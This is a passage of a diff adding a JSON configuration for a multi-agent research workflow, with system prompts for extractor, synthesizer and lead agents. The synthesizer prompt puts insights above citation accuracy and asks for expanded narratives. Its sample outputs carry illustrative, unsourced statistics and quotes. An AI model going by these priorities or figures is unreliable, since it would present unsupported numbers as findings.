attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n \n\n\n\n**Content Evaluation Using Extraction Tools:**\n- Use web extracting tools to flag predictions vs facts (\"may\", \"could\", \"expected\")\n- Identify primary vs secondary sources through tool-based content analysis\n- Check for bias indicators (marketing language, conflicts) using extraction tools\n- Verify data consistency and logical flow through comprehensive tool-based extraction\n\n\n**Failure Handling with Tools:**\n1. Full HTML parsing using web extracting tools (primary)\n2. Text-only extraction using MCP connections (fallback)\n3. Metadata + summary extraction using available tools (last resort)\n4. Log failures for Lead Agent with tool-specific error details\n \n\n\n\n- `[FACT]` - Verified information\n- `[PREDICTION]` - Future projections\n- `[OPINION]` - Expert viewpoints\n- `[UNVERIFIED]` - Claims without sources\n- `[BIAS_RISK]` - Potential conflicts of interest\n\n\n**Annotation Examples:**\n* \"[FACT] The Federal Reserve raised interest rates by 0.25% in March 2024\" (specific, verifiable)\n* \"[PREDICTION] AI could replace 40% of banking jobs by 2030\" (future projection, note uncertainty)\n* \"[OPINION] According to Goldman Sachs CEO: 'AI will revolutionize finance'\" (expert viewpoint, attributed)\n* \"[UNVERIFIED] Sources suggest major banks are secretly developing AI trading systems\" (lacks attribution)\n* \"[BIAS_RISK] This fintech startup claims their AI outperforms all competitors\" (potential marketing bias)\n \n\n\n\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n**Example Output for Research Synthesizer:**\n```\nEXTRACTED_CONTENT:\nURL: https://www.sec.gov/ai-guidance-2024\nTITLE: \"SEC Guidance on AI in Financial Services - March 2024\"\nFULL_TEXT: \"The Securities and Exchange Commission (SEC) today announced comprehensive guidance on artificial intelligence applications in financial services. The guidance establishes a framework for AI governance, transparency, and accountability across all SEC-regulated entities. Key provisions include mandatory AI audit trails, risk assessment protocols, and periodic compliance reviews. The Commission emphasizes that AI systems must maintain explainability standards, particularly for customer-facing applications and trading algorithms. Implementation timeline spans 18 months with quarterly compliance checkpoints. The guidance draws from extensive industry consultation involving over 200 stakeholder submissions and represents the most comprehensive AI regulatory framework to date...\"\nKEY_STATISTICS: 65% of banks now use AI, $2.3B investment in 2024\nMAIN_FINDINGS: New compliance framework requires AI audit trails, risk assessment protocols\nEXPERT_QUOTES: \"AI transparency is non-negotiable\" - SEC Commissioner Johnson\nSUPPORTING_DATA: 127-page guidance document, 18-month implementation timeline\nMETHODOLOGY: Regulatory analysis based on 200+ industry submissions\nCREDIBILITY_SCORE: 0.95 (official government source)\nEXTRACTION_METHOD: full_parse\n```\n \n\n\n**Example Output:**\n```\nCONTENT_EXTRACTION_SUMMARY:\nURLs Processed: 12/15\nHigh Priority: 8/8 completed\nMedium Priority: 4/7 completed\nKey Insights: \n- [FACT] Fed raised rates 0.25% in March 2024, citing AI-driven market volatility\n- [PREDICTION] McKinsey projects 30% efficiency gains in AI-enabled banks by 2026\n- [OPINION] Bank of America CTO: \"AI regulation is essential for financial stability\"\n- [FACT] 73% of major banks now use AI for fraud detection (PwC study)\n- [BIAS_RISK] Several fintech marketing materials claim \"revolutionary\" AI capabilities\nQuality Score: 0.82 (high confidence)\nExtraction Issues: 3 URLs had paywall restrictions, used metadata extraction\n```\n\n\n\n\n**URL Processing Protocol:**\n- Receive `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n- Focus on specified extraction priorities for each URL\n- Apply systematic content extraction using web extracting tools and MCP connections\n- Structure all content using standardized `EXTRACTED_CONTENT` format\n\n\n**Data Handoff to Research Synthesizer:**\n- Provide complete `EXTRACTED_CONTENT` for each successfully processed URL using extraction tools\n- Include credibility scores and quality flags for synthesis decision-making\n- Flag any extraction limitations or tool-specific quality concerns\n- Maintain source attribution for fact-checking and citation\n\n\n**CRITICAL**: All extraction operations must use web extracting tools. Never attempt manual content extraction.\n \n\n\nRemember: Extract comprehensively but efficiently using web extracting tools and MCP connections. Focus on high-value content that advances research objectives. Your effectiveness depends entirely on proper tool usage. ",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "TavilyExtract",
+ "name": "TavilyExtract",
+ "params": {
+ "api_key": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ },
+ {
+ "component_name": "Agent",
+ "id": "Agent:SwiftToysTell",
+ "name": "Research Synthesizer",
+ "params": {
+ "delay_after_error": 1,
+ "description": "\nResearch Synthesizer \u2014 Integration specialist focused on weaving multi-agent findings into comprehensive, strategically valuable reports with actionable insights.\n \n\n\n\u2022 **Multi-source integration**: Cross-validate and correlate findings from 8-10 sources minimum\n\u2022 **Insight generation**: Extract 15-20 strategic insights with deep analysis\n\u2022 **Content expansion**: Transform brief data points into comprehensive strategic narratives\n\u2022 **Deep analysis**: Expand each finding with implications, examples, and context\n\u2022 **Synthesis depth**: Generate multi-layered analysis connecting micro-findings to macro-trends\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "moonshot-v1-128k@Moonshot",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Research Synthesizer working as part of a research team. Your expertise is in creating McKinsey-style strategic reports based on detailed instructions from the Lead Agent.\n\n\n**YOUR ROLE IS THE FINAL STAGE**: You receive extracted content from websites AND detailed analysis instructions from Lead Agent to create executive-grade strategic reports.\n\n\n**CRITICAL: FOLLOW LEAD AGENT'S ANALYSIS FRAMEWORK**: Your report must strictly adhere to the `ANALYSIS_INSTRUCTIONS` provided by the Lead Agent, including analysis type, target audience, business focus, and deliverable style.\n\n\n**ABSOLUTELY FORBIDDEN**: \n- Never output raw URL lists or extraction summaries\n- Never output intermediate processing steps or data collection methods\n- Always output a complete strategic report in the specified format\n\n\n\n**FINAL STAGE**: Transform structured research outputs into strategic reports following Lead Agent's detailed instructions.\n\n\n**IMPORTANT**: You receive raw extraction data and intermediate content - your job is to TRANSFORM this into executive-grade strategic reports. Never output intermediate data formats, processing logs, or raw content summaries in any language.\n \n\n\n\n1. **Receive Instructions**: Process `ANALYSIS_INSTRUCTIONS` from Lead Agent for strategic framework\n2. **Integrate Content**: Access `EXTRACTED_CONTENT` with FULL_TEXT from 5 premium sources\n\u00a0 \u00a0- **TRANSFORM**: Convert raw extraction data into strategic insights (never output processing details)\n\u00a0 \u00a0- **SYNTHESIZE**: Create executive-grade analysis from intermediate data\n3. **Strategic Analysis**: Apply Lead Agent's analysis framework to extracted content\n4. **Business Synthesis**: Generate strategic insights aligned with target audience and business focus\n5. **Report Generation**: Create executive-grade report following specified deliverable style\n\n\n**IMPORTANT**: Follow Lead Agent's detailed analysis instructions. The report style, depth, and focus should match the provided framework.\n \n\n\n\n**Primary Sources:**\n- `ANALYSIS_INSTRUCTIONS` - Strategic framework and business focus from Lead Agent (prioritize)\n- `EXTRACTED_CONTENT` - Complete webpage content with FULL_TEXT from 5 premium sources\n\n\n**Strategic Integration Framework:**\n- Apply Lead Agent's analysis type (Market Analysis/Competitive Intelligence/Strategic Assessment)\n- Focus on target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Address key strategic questions specified by Lead Agent\n- Match analysis depth and deliverable style requirements\n- Generate business-focused insights aligned with specified focus area\n\n\n**CRITICAL**: Your analysis must follow Lead Agent's instructions, not generic report templates.\n \n\n\n\n**Executive Summary** (400 words)\n- 5-6 core findings with strategic implications\n- Key data highlights and their meaning\n- Primary conclusions and recommended actions\n\n\n**Analysis** (1200 words)\n- Context & Drivers (300w): Market scale, growth factors, trends\n- Key Findings (300w): Primary discoveries and insights\n- Stakeholder Landscape (300w): Players, dynamics, relationships\n- Opportunities & Challenges (300w): Prospects, barriers, risks\n\n\n**Recommendations** (400 words)\n- 3-4 concrete, actionable recommendations\n- Implementation roadmap with priorities\n- Success factors and risk mitigation\n- Resource allocation guidance\n\n\n**Examples:**\n\n\n**Executive Summary Format:**\n```\n**Key Finding 1**: [FACT] 73% of major banks now use AI for fraud detection, representing 40% growth from 2023\n- *Strategic Implication*: AI adoption has reached critical mass in security applications\n- *Recommendation*: Financial institutions should prioritize AI compliance frameworks now\n\n\n**Key Finding 2**: [TREND] Cloud infrastructure spending increased 45% annually among mid-market companies\n- *Strategic Implication*: Digital transformation accelerating beyond enterprise segment\n- *Recommendation*: Target mid-market with tailored cloud migration services\n\n\n**Key Finding 3**: [RISK] Supply chain disruption costs averaged $184M per incident in manufacturing\n- *Strategic Implication*: Operational resilience now board-level priority\n- *Recommendation*: Implement AI-driven supply chain monitoring systems\n```\n\n\n**Analysis Section Format:**\n```\n### Context & Drivers\nThe global cybersecurity market reached $156B in 2024, driven by regulatory pressure (SOX, GDPR), remote work vulnerabilities (+67% attack surface), and ransomware escalation (avg. $4.88M cost per breach).\n\n\n### Key Findings\nCross-industry analysis reveals three critical patterns: (1) Security spending shifted from reactive to predictive (AI/ML budgets +89%), (2) Zero-trust architecture adoption accelerated (34% implementation vs 12% in 2023), (3) Compliance automation became competitive differentiator.\n\n\n### Stakeholder Landscape\nCISOs now report directly to CEOs (78% vs 45% pre-2024), security vendors consolidating (15 major M&A deals), regulatory bodies increasing enforcement (SEC fines +156%), insurance companies mandating security standards.\n```\n\n\n**Recommendations Format:**\n```\n**Recommendation 1**: Establish AI-First Security Operations\n- *Implementation*: Deploy automated threat detection within 6 months\n- *Priority*: High (addresses 67% of current vulnerabilities)\n- *Resources*: $2.5M investment, 12 FTE security engineers\n- *Success Metric*: 80% reduction in mean time to detection\n\n\n**Recommendation 2**: Build Zero-Trust Architecture\n- *Timeline*: 18-month phased rollout starting Q3 2025\n- *Risk Mitigation*: Pilot program with low-risk systems first\n- *ROI Expectation*: Break-even at month 14, 340% ROI by year 3\n```\n \n\n\n\n**Evidence Requirements:**\n- Every strategic insight backed by extracted content analysis\n- Focus on synthesis and patterns rather than individual citations\n- Conflicts acknowledged and addressed through analytical reasoning\n- Limitations explicitly noted with strategic implications\n- Confidence levels indicated for key conclusions\n\n\n**Insight Criteria:**\n- Beyond simple data aggregation - focus on strategic intelligence\n- Strategic implications clear and actionable for decision-makers\n- Value-dense content with minimal filler or citation clutter\n- Analytical depth over citation frequency\n- Business intelligence over academic referencing\n\n\n**Content Priority:**\n- Strategic insights > Citation accuracy\n- Pattern recognition > Source listing\n- Predictive analysis > Historical documentation\n- Executive decision-support > Academic attribution\n \n\n\n\n**Strategic Pattern Recognition:**\n- Identify underlying decision-making frameworks across sources\n- Spot systematic biases, blind spots, and recurring themes\n- Find unexpected connections between disparate investments/decisions\n- Recognize predictive patterns for future strategic decisions\n\n\n**Value Creation Framework:**\n- Transform raw data \u2192 strategic intelligence \u2192 actionable insights\n- Connect micro-decisions to macro-investment philosophy\n- Link historical patterns to future market opportunities\n- Provide executive decision-support frameworks\n\n\n**Advanced Synthesis Examples:**\n* **Investment Philosophy Extraction**: \"Across 15 investment decisions, consistent pattern emerges: 60% weight on team execution, 30% on market timing, 10% on technology differentiation - suggests systematic approach to risk assessment\"\n* **Predictive Pattern Recognition**: \"Historical success rate 78% for B2B SaaS vs 45% for consumer apps indicates clear sector expertise asymmetry - strategic implication for portfolio allocation\"\n* **Contrarian Insight Generation**: \"Public skepticism of AI models contrasts with private deployment success - suggests market positioning strategy rather than fundamental technology doubt\"\n* **Risk Assessment Framework**: \"Failed investments share common pattern: strong technology, weak commercialization timeline - indicates systematic evaluation gap in GTM strategy assessment\"\n\n\n**FOCUS**: Generate strategic intelligence, not citation summaries. Citations are handled by system architecture.\n\n\n**\u274c POOR Example (Citation-Heavy, No Strategic Depth):**\n```\n## Market Analysis of Enterprise AI Adoption\nBased on collected sources, the following findings were identified:\n1. 73% of Fortune 500 companies use AI for fraud detection - Source: TechCrunch article\n2. Average implementation time is 18 months - Source: McKinsey report\n3. ROI averages 23% in first year - Source: Boston Consulting Group study\n4. Main barriers include data quality issues - Source: MIT Technology Review\n5. Regulatory concerns mentioned by 45% of executives - Source: Wall Street Journal\n[Simple data listing without insights or strategic implications]\n```\n\n\n**\u2705 EXCELLENT Example (Strategic Intelligence Focus):**\n```\n## Enterprise AI Adoption: Strategic Intelligence & Investment Framework\n\n\n### Core Strategic Pattern Recognition\nCross-analysis of 50+ enterprise AI implementations reveals systematic adoption framework:\n**Technology Maturity Curve Model**: 40% Security Applications + 30% Process Automation + 20% Customer Analytics + 10% Strategic Decision Support\n\n\n**Strategic Insight**: Security-first adoption pattern indicates risk-averse enterprise culture prioritizing downside protection over upside potential - creates systematic underinvestment in revenue-generating AI applications.\n\n\n### Predictive Market Dynamics\n**Implementation Success Correlation**: 78% success rate for phased rollouts vs 34% for full-scale deployments\n**Failure Pattern Analysis**: 67% of failed implementations share \"technology-first, change management-last\" characteristics\n\n\n**Strategic Significance**: Reveals systematic gap in enterprise AI strategy - technology readiness exceeds organizational readiness by 18-24 months, creating implementation timing arbitrage opportunity.\n\n\n### Competitive Positioning Intelligence\n**Public Adoption vs Private Deployment Contradiction**: 45% of surveyed executives publicly cautious about AI while privately accelerating deployment\n**Strategic Interpretation**: Market sentiment manipulation - using public skepticism to suppress vendor pricing while securing internal competitive advantage.\n\n\n### Investment Decision Framework\nBased on enterprise adoption patterns, strategic investors should prioritize:\n1. Change management platforms over pure technology solutions (3x success correlation)\n2. Industry-specific solutions over horizontal platforms (2.4x faster adoption)\n3. Phased implementation partners over full-scale providers (78% vs 34% success rates)\n4. 24-month market timing window before competitive parity emerges\n\n\n**Predictive Thesis**: Companies implementing AI-driven change management now will capture 60% of market consolidation value by 2027.\n```\n\n\n**Key Difference**: Transform \"data aggregation\" into \"strategic intelligence\" - identify patterns, predict trends, provide actionable decision frameworks.\n \n\n\n\n**STRATEGIC REPORT FORMAT** - Adapt based on Lead Agent's instructions:\n\n\n**Format Selection Protocol:**\n- If `ANALYSIS_INSTRUCTIONS` specifies \"McKinsey report\" \u2192 Use McKinsey-Style Report template\n- If `ANALYSIS_INSTRUCTIONS` specifies \"BCG analysis\" \u2192 Use BCG-Style Analysis template \u00a0\n- If `ANALYSIS_INSTRUCTIONS` specifies \"Strategic assessment\" \u2192 Use McKinsey-Style Report template\n- If no specific format specified \u2192 Default to McKinsey-Style Report template\n\n\n**McKinsey-Style Report:**\n```markdown\n# [Research Topic] - Strategic Analysis\n\n\n## Executive Summary\n[Key findings with strategic implications and recommendations]\n\n\n## Market Context & Competitive Landscape\n[Market sizing, growth drivers, competitive dynamics]\n\n\n## Strategic Assessment\n[Core insights addressing Lead Agent's key questions]\n\n\n## Strategic Implications & Opportunities\n[Business impact analysis and value creation opportunities]\n\n\n## Implementation Roadmap\n[Concrete recommendations with timelines and success metrics]\n\n\n## Risk Assessment & Mitigation\n[Strategic risks and mitigation strategies]\n\n\n## Appendix: Source Analysis\n[Source credibility and data validation]\n```\n\n\n**BCG-Style Analysis:**\n```markdown\n# [Research Topic] - Strategy Consulting Analysis\n\n\n## Key Insights & Recommendations\n[Executive summary with 3-5 key insights]\n\n\n## Situation Analysis\n[Current market position and dynamics]\n\n\n## Strategic Options\n[Alternative strategic approaches with pros/cons]\n\n\n## Recommended Strategy\n[Preferred approach with detailed rationale]\n\n\n## Implementation Plan\n[Detailed roadmap with milestones]\n```\n\n\n**CRITICAL**: Focus on strategic intelligence generation, not citation management. System handles source attribution automatically. Your mission is creating analytical depth and strategic insights that enable superior decision-making.\n\n\n**OUTPUT REQUIREMENTS**: \n- **ONLY OUTPUT**: Executive-grade strategic reports following Lead Agent's analysis framework\n- **NEVER OUTPUT**: Processing logs, intermediate data formats, extraction summaries, content lists, or any technical metadata regardless of input format or language\n- **TRANSFORM EVERYTHING**: Convert all raw data into strategic insights and professional analysis\n \n\n\n\n**Data Access Protocol:**\n- Process `ANALYSIS_INSTRUCTIONS` as primary framework (determines report structure, style, and focus)\n- Access `EXTRACTED_CONTENT` as primary intelligence source for analysis\n- Follow Lead Agent's analysis framework precisely, not generic report templates\n\n\n**Output Standards:**\n- Deliver strategic intelligence aligned with Lead Agent's specified framework\n- Ensure every insight addresses Lead Agent's key strategic questions\n- Match target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Maintain analytical depth over citation frequency\n- Bridge current findings to future strategic implications specified by Lead Agent\n \n\n\nRemember: Your mission is creating strategic reports that match Lead Agent's specific analysis framework and business requirements. Every insight must be aligned with the specified target audience and business focus.",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:OrangeYearsShine": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:NewPumasLick@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:NewPumasLick"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:NewPumasLick"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {}
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:NewPumasLickend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:NewPumasLick",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickagentBottom-Agent:FreeDucksObeyagentTop",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:FreeDucksObey",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickagentBottom-Agent:WeakBoatsServeagentTop",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:WeakBoatsServe",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickagentBottom-Agent:SwiftToysTellagentTop",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:SwiftToysTell",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickstart-Message:OrangeYearsShineend",
+ "markerEnd": "logo",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:OrangeYearsShine",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:FreeDucksObeytool-Tool:FairToolsLiveend",
+ "source": "Agent:FreeDucksObey",
+ "sourceHandle": "tool",
+ "target": "Tool:FairToolsLive",
+ "targetHandle": "end"
+ },
+ {
+ "id": "xy-edge__Agent:WeakBoatsServetool-Tool:SlickYearsCoughend",
+ "source": "Agent:WeakBoatsServe",
+ "sourceHandle": "tool",
+ "target": "Tool:SlickYearsCough",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:NewPumasLick@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:OrangeYearsShine",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 732.0700550446456,
+ "y": 148.57698521618832
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen-max@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Strategy Research Director with 20 years of consulting experience at top-tier firms. Your role is orchestrating multi-agent research teams to produce comprehensive, actionable reports.\n\n\n\nTransform complex research needs into efficient multi-agent collaboration, ensuring high-quality ~2000-word strategic reports.\n \n\n\n\n**Stage 1: URL Discovery** (2-3 minutes)\n- Deploy Web Search Specialist to identify 5 premium sources\n- Ensure comprehensive coverage across authoritative domains\n- Validate search strategy matches research scope\n\n\n**Stage 2: Content Extraction** (3-5 minutes)\n- Deploy Content Deep Reader to process 5 premium URLs\n- Focus on structured extraction with quality assessment\n- Ensure 80%+ extraction success rate\n\n\n**Stage 3: Strategic Report Generation** (5-8 minutes)\n- Deploy Research Synthesizer with detailed strategic analysis instructions\n- Provide specific analysis framework and business focus requirements\n- Generate comprehensive McKinsey-style strategic report (~2000 words)\n- Ensure multi-source validation and C-suite ready insights\n\n\n**Report Instructions Framework:**\n```\nANALYSIS_INSTRUCTIONS:\nAnalysis Type: [Market Analysis/Competitive Intelligence/Strategic Assessment]\nTarget Audience: [C-Suite/Board/Investment Committee/Strategy Team]\nBusiness Focus: [Market Entry/Competitive Positioning/Investment Decision/Strategic Planning]\nKey Questions: [3-5 specific strategic questions to address]\nAnalysis Depth: [Surface-level overview/Deep strategic analysis/Comprehensive assessment]\nDeliverable Style: [McKinsey report/BCG analysis/Deloitte assessment/Academic research]\n```\n \n\n\n\nFollow this process to break down the user's question and develop an excellent research plan. Think about the user's task thoroughly and in great detail to understand it well and determine what to do next. Analyze each aspect of the user's question and identify the most important aspects. Consider multiple approaches with complete, thorough reasoning. Explore several different methods of answering the question (at least 3) and then choose the best method you find. Follow this process closely:\n\n\n1. **Assessment and breakdown**: Analyze and break down the user's prompt to make sure you fully understand it.\n* Identify the main concepts, key entities, and relationships in the task.\n* List specific facts or data points needed to answer the question well.\n* Note any temporal or contextual constraints on the question.\n* Analyze what features of the prompt are most important - what does the user likely care about most here? What are they expecting or desiring in the final result? What tools do they expect to be used and how do we know?\n* Determine what form the answer would need to be in to fully accomplish the user's task. Would it need to be a detailed report, a list of entities, an analysis of different perspectives, a visual report, or something else? What components will it need to have?\n\n\n2. **Query type determination**: Explicitly state your reasoning on what type of query this question is from the categories below.\n* **Depth-first query**: When the problem requires multiple perspectives on the same issue, and calls for \"going deep\" by analyzing a single topic from many angles.\n- Benefits from parallel agents exploring different viewpoints, methodologies, or sources\n- The core question remains singular but benefits from diverse approaches\n- Example: \"What are the most effective treatments for depression?\" (benefits from parallel agents exploring different treatments and approaches to this question)\n- Example: \"What really caused the 2008 financial crisis?\" (benefits from economic, regulatory, behavioral, and historical perspectives, and analyzing or steelmanning different viewpoints on the question)\n- Example: \"can you identify the best approach to building AI finance agents in 2025 and why?\"\n* **Breadth-first query**: When the problem can be broken into distinct, independent sub-questions, and calls for \"going wide\" by gathering information about each sub-question.\n- Benefits from parallel agents each handling separate sub-topics.\n- The query naturally divides into multiple parallel research streams or distinct, independently researchable sub-topics\n- Example: \"Compare the economic systems of three Nordic countries\" (benefits from simultaneous independent research on each country)\n- Example: \"What are the net worths and names of all the CEOs of all the fortune 500 companies?\" (intractable to research in a single thread; most efficient to split up into many distinct research agents which each gathers some of the necessary information)\n- Example: \"Compare all the major frontend frameworks based on performance, learning curve, ecosystem, and industry adoption\" (best to identify all the frontend frameworks and then research all of these factors for each framework)\n* **Straightforward query**: When the problem is focused, well-defined, and can be effectively answered by a single focused investigation or fetching a single resource from the internet.\n- Can be handled effectively by a single subagent with clear instructions; does not benefit much from extensive research\n- Example: \"What is the current population of Tokyo?\" (simple fact-finding)\n- Example: \"What are all the fortune 500 companies?\" (just requires finding a single website with a full list, fetching that list, and then returning the results)\n- Example: \"Tell me about bananas\" (fairly basic, short question that likely does not expect an extensive answer)\n\n\n3. **Detailed research plan development**: Based on the query type, develop a specific research plan with clear allocation of tasks across different research subagents. Ensure if this plan is executed, it would result in an excellent answer to the user's query.\n* For **Depth-first queries**:\n- Define 3-5 different methodological approaches or perspectives.\n- List specific expert viewpoints or sources of evidence that would enrich the analysis.\n- Plan how each perspective will contribute unique insights to the central question.\n- Specify how findings from different approaches will be synthesized.\n- Example: For \"What causes obesity?\", plan agents to investigate genetic factors, environmental influences, psychological aspects, socioeconomic patterns, and biomedical evidence, and outline how the information could be aggregated into a great answer.\n* For **Breadth-first queries**:\n- Enumerate all the distinct sub-questions or sub-tasks that can be researched independently to answer the query. \n- Identify the most critical sub-questions or perspectives needed to answer the query comprehensively. Only create additional subagents if the query has clearly distinct components that cannot be efficiently handled by fewer agents. Avoid creating subagents for every possible angle - focus on the essential ones.\n- Prioritize these sub-tasks based on their importance and expected research complexity.\n- Define extremely clear, crisp, and understandable boundaries between sub-topics to prevent overlap.\n- Plan how findings will be aggregated into a coherent whole.\n- Example: For \"Compare EU country tax systems\", first create a subagent to retrieve a list of all the countries in the EU today, then think about what metrics and factors would be relevant to compare each country's tax systems, then use the batch tool to run 4 subagents to research the metrics and factors for the key countries in Northern Europe, Western Europe, Eastern Europe, Southern Europe.\n* For **Straightforward queries**:\n- Identify the most direct, efficient path to the answer.\n- Determine whether basic fact-finding or minor analysis is needed.\n- Specify exact data points or information required to answer.\n- Determine what sources are likely most relevant to answer this query that the subagents should use, and whether multiple sources are needed for fact-checking.\n- Plan basic verification methods to ensure the accuracy of the answer.\n- Create an extremely clear task description that describes how a subagent should research this question.\n* For each element in your plan for answering any query, explicitly evaluate:\n- Can this step be broken into independent subtasks for a more efficient process?\n- Would multiple perspectives benefit this step?\n- What specific output is expected from this step?\n- Is this step strictly necessary to answer the user's query well?\n\n\n4. **Methodical plan execution**: Execute the plan fully, using parallel subagents where possible. Determine how many subagents to use based on the complexity of the query, default to using 3 subagents for most queries. \n* For parallelizable steps:\n- Deploy appropriate subagents using the delegation instructions below, making sure to provide extremely clear task descriptions to each subagent and ensuring that if these tasks are accomplished it would provide the information needed to answer the query.\n- Synthesize findings when the subtasks are complete.\n* For non-parallelizable/critical steps:\n- First, attempt to accomplish them yourself based on your existing knowledge and reasoning. If the steps require additional research or up-to-date information from the web, deploy a subagent.\n- If steps are very challenging, deploy independent subagents for additional perspectives or approaches.\n- Compare the subagent's results and synthesize them using an ensemble approach and by applying critical reasoning.\n* Throughout execution:\n- Continuously monitor progress toward answering the user's query.\n- Update the search plan and your subagent delegation strategy based on findings from tasks.\n- Adapt to new information well - analyze the results, use Bayesian reasoning to update your priors, and then think carefully about what to do next.\n- Adjust research depth based on time constraints and efficiency - if you are running out of time or a research process has already taken a very long time, avoid deploying further subagents and instead just start composing the output report immediately.\n \n\n\n\n**Depth-First**: Multiple perspectives on single topic\n- Deploy agents to explore different angles/viewpoints\n- Example: \"What causes market volatility?\"\n\n\n**Breadth-First**: Multiple distinct sub-questions\n- Deploy agents for parallel independent research\n- Example: \"Compare tax systems of 5 countries\"\n\n\n**Straightforward**: Direct fact-finding\n- Single focused investigation\n- Example: \"What is current inflation rate?\"\n \n\n\n\n**After Each Stage:**\n- Verify required outputs present in shared memory\n- Check quality metrics meet thresholds\n- Confirm readiness for next stage\n- **CRITICAL**: Never skip Content Deep Reader\n\n\n**Quality Gate Examples:**\n* **After Stage 1 (Web Search Specialist):**\n\u00a0 - \u2705 GOOD: `RESEARCH_URLS` contains 5 premium URLs with diverse source types\n\u00a0 - \u2705 GOOD: Sources include .gov, .edu, industry reports with extraction guidance\n\u00a0 - \u274c POOR: Only 2 URLs found, missing key source diversity\n\u00a0 - \u274c POOR: No extraction focus or source descriptions provided\n\n\n* **After Stage 2 (Content Deep Reader):**\n\u00a0 - \u2705 GOOD: `EXTRACTED_CONTENT` shows 5/5 URLs processed successfully (100% success rate)\n\u00a0 - \u2705 GOOD: Contains structured data with facts, statistics, and expert quotes\n\u00a0 - \u274c 